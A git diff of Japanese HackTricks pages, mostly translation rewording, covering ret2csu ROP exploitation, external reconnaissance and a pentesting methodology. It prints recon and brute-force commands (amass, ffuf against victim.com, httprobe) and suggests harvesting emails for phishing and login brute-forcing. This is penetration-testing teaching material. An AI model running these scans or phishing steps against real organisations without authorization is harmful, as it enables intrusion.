mov rsi, r14;
|
||||
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
詳細についてはこのページを確認してください:
|
||||
|
||||
|
@ -92,12 +92,12 @@ ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方
|
|||
|
||||
### コールを使用する
|
||||
|
||||
syscall を行うか、`write()` のような関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要だとします。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
||||
syscall を行うか、`write()` のような関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要だと想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
||||
|
||||
ここで **ret2csu** が登場します:
|
||||
|
||||
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。
|
||||
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そして、そのアドレスを `[r15 + rbx*8]` に配置します。
|
||||
2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx` と `rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15` と `rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。そのアドレスは `[r15 + rbx*8]` に配置されます。
|
||||
|
||||
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
|
||||
```python
|
||||
|
@ -129,7 +129,7 @@ print(p.recvline()) # should receive "Awesome work!"
|
|||
|
||||
### コールをバイパスしてretに到達する
|
||||
|
||||
以下のエクスプロイトは、**このページ**から抽出されました。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**:
|
||||
以下のエクスプロイトは、**このページ**から抽出されましたが、**ret2csu**が使用されている代わりに、コールを使用せずに**比較をバイパスして`ret`に到達しています**:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 外部リコンメソドロジー
|
||||
# 外部リコンメソッド
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -35,19 +35,19 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
### **買収**
|
||||
|
||||
まず、**主要な会社が所有する他の会社**を知る必要があります。\
|
||||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社が買収した他の会社を見ることができます。\
|
||||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって取得された他の会社を見ることができます。\
|
||||
もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
||||
|
||||
> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自律システム番号(**ASN**)は、**インターネット番号割り当て機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\
|
||||
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\
|
||||
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス**の**ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
|
||||
|
||||
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。スコープ内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
|
||||
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、恐らくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。**
|
||||
**会社の地域によっては、次のリンクがデータ収集に役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。**
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -160,7 +160,7 @@ return fhash
|
|||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
ウェブページ内で、**同じ組織内の異なるウェブサイトで共有される可能性のある文字列**を検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
|
||||
異なるウェブサイト間で**同じ組織内で共有される可能性のある文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
|
@ -194,7 +194,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
|
|||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン**とその**サブドメイン**を探す、非常に素晴らしいです。
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **メインドメインに関連するドメイン**とその**サブドメイン**を探す、かなり素晴らしいです。
|
||||
|
||||
### **脆弱性の調査**
|
||||
|
||||
|
@ -204,7 +204,7 @@ If you find any **domain with an IP different** from the ones you already found
|
|||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **Intigritiにサインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
|
||||
**バグバウンティのヒント**: **サインアップ**して**Intigriti**に参加しましょう。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -384,7 +384,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### 第二のDNSブルートフォースラウンド
|
||||
|
||||
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のために役立つツールがいくつかあります:
|
||||
オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変種を生成してさらに多くを見つけることができます。この目的のためにいくつかのツールが役立ちます:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えると、順列を生成します。
|
||||
```bash
|
||||
|
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを組み合わせたサブドメインブルートフォースファッザーです。カスタマイズされたワードリストや過去のDNS/TLSレコードなど、提供された入力データセットを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムを備えたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされたワードリストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてループ内でさらに拡張します。
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -434,7 +434,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / バーチャルホスト**
|
||||
|
||||
サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブがある他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。
|
||||
サブドメインに属する**1つまたは複数のウェブページ**を含むIPアドレスを見つけた場合、そのIP内の**ウェブを持つ他のサブドメインを見つける**ために、**OSINTソース**でIP内のドメインを探すか、**そのIP内のVHostドメイン名をブルートフォースする**ことを試みることができます。
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -442,7 +442,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
**ブルートフォース**
|
||||
|
||||
ウェブサーバーに隠されたサブドメインがあると疑う場合は、それをブルートフォースしてみることができます:
|
||||
ウェブサーバーに隠されたサブドメインがあると疑う場合、ブルートフォースを試みることができます:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -462,7 +462,7 @@ VHostScan -t example.com
|
|||
|
||||
### **CORSブルートフォース**
|
||||
|
||||
時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。
|
||||
時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -480,23 +480,23 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
|
||||
もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
|
||||
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
|
||||
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスによっては、**この本にあるいくつかのトリックで「攻撃」する**ことができるかもしれません。\
|
||||
_サブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_
|
||||
|
||||
## IPs
|
||||
|
||||
初期のステップで、**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
|
||||
初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
|
||||
これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメイン(DNSクエリ)**のための時間です。
|
||||
|
||||
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはクライアントによってまだ所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
|
||||
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)ツールを使用できます。
|
||||
特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)というツールを使用できます。
|
||||
|
||||
### **脆弱性の検索**
|
||||
|
||||
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで、**脆弱性を見つけることができるかもしれません**。
|
||||
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。
|
||||
|
||||
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)を見つけてください。
|
||||
|
||||
|
@ -504,11 +504,11 @@ _サブドメインがクライアントによって制御されていないIP
|
|||
|
||||
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
|
||||
|
||||
前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内の**ウェブサーバーを検索するためのいくつかの迅速なトリック**を見ていきます。
|
||||
前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
|
||||
|
||||
これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
|
||||
|
||||
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用してここにあります](../pentesting-network/#http-port-discovery)。\
|
||||
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/#http-port-discovery)。\
|
||||
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -524,7 +524,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## パブリッククラウド資産
|
||||
|
||||
会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号通貨会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。
|
||||
会社に属する潜在的なクラウド資産を見つけるためには、**その会社を特定するキーワードのリストから始めるべきです**。たとえば、暗号会社の場合、次のような単語を使用することがあります:`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`。
|
||||
|
||||
**バケットで使用される一般的な単語のワードリスト**も必要です:
|
||||
|
||||
|
@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## メール
|
||||
|
||||
スコープ内の**ドメイン**と**サブドメイン**を持っているので、**メールを検索するために必要なすべてのものがあります**。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
|
||||
スコープ内の**ドメイン**と**サブドメイン**を使って、**メールを検索するために必要なすべての情報**を基本的に持っています。これらは、会社のメールを見つけるために私が最も効果的だと感じた**API**と**ツール**です:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIを使用
|
||||
* [**https://hunter.io/**](https://hunter.io/)のAPI(無料版)
|
||||
|
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### **脆弱性の検索**
|
||||
|
||||
メールは後で**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
|
||||
メールは後で**ウェブログインや認証サービス**(SSHなど)の**ブルートフォース**に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物に関する情報**をさらに提供します。
|
||||
|
||||
## 資格情報の漏洩
|
||||
|
||||
**ドメイン、** **サブドメイン、** **メール**を使用して、過去に漏洩した資格情報を探し始めることができます:
|
||||
**ドメイン、** **サブドメイン、** **メール**を使って、過去に漏洩した資格情報を探し始めることができます:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
@ -568,7 +568,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## 秘密の漏洩
|
||||
|
||||
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
|
||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。しかし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
|
||||
|
||||
### Githubの漏洩
|
||||
|
||||
|
@ -585,16 +585,16 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Pasteの漏洩
|
||||
### ペーストの漏洩
|
||||
|
||||
時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\
|
||||
[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。
|
||||
|
||||
### Google Dorks
|
||||
|
||||
古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
|
||||
古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
|
||||
|
||||
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、Googleが非常に早くブロックするため、決して終わらないことに注意してください。_
|
||||
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_
|
||||
|
||||
### **脆弱性の検索**
|
||||
|
||||
|
@ -602,7 +602,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||
|
||||
## 公開コードの脆弱性
|
||||
|
||||
会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し、**脆弱性**を探すことができます。
|
||||
会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。
|
||||
|
||||
**言語によって**異なる**ツール**を使用できます:
|
||||
|
||||
|
@ -618,23 +618,23 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||
|
||||
**バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
|
||||
|
||||
また、[**Web自動スキャナーオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。
|
||||
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。
|
||||
|
||||
## 再確認
|
||||
|
||||
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
|
||||
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
|
||||
|
||||
したがって、すでに次のことを行いました:
|
||||
したがって、すでに次のことを行っています:
|
||||
|
||||
1. スコープ内のすべての**会社**を見つけた
|
||||
2. 会社に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
|
||||
3. 会社に属するすべての**ドメイン**を見つけた
|
||||
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか?)
|
||||
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
|
||||
5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた
|
||||
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものはありますか?)
|
||||
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものは?)
|
||||
7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた
|
||||
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**。
|
||||
9. **見つけたすべてのウェブをペンテストする**
|
||||
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
|
||||
9. 見つけたすべてのウェブを**ペンテスト**
|
||||
|
||||
## **フルリコン自動ツール**
|
||||
|
||||
|
@ -649,7 +649,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。
|
||||
|
||||
|
@ -664,7 +664,7 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください**。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.p
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。
|
||||
|
||||
|
@ -33,22 +33,22 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/)
|
||||
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**(内部テスト)か、**インターネット上の会社の資産を見つける**(外部テスト)ことに興味があるかもしれません。
|
||||
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**ことに興味があるか、**インターネット上の会社の資産を見つける**ことに興味があるかもしれません。
|
||||
|
||||
{% hint style="info" %}
|
||||
外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。
|
||||
外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
||||
|
||||
**このセクションは内部テストを実施している場合にのみ適用されます。**\
|
||||
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます。
|
||||
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的(MitM)**にネットワーク内で何が見つかるかを学ぶ方が良いかもしれません。[**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます。
|
||||
|
||||
### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts)
|
||||
|
||||
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
|
||||
|
||||
### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md)
|
||||
### **4-** [**サービスバージョンの脆弱性を検索する**](search-exploits.md)
|
||||
|
||||
どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません...
|
||||
|
||||
|
@ -61,13 +61,13 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
**特に** [**ペンテストウェブ**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
|
||||
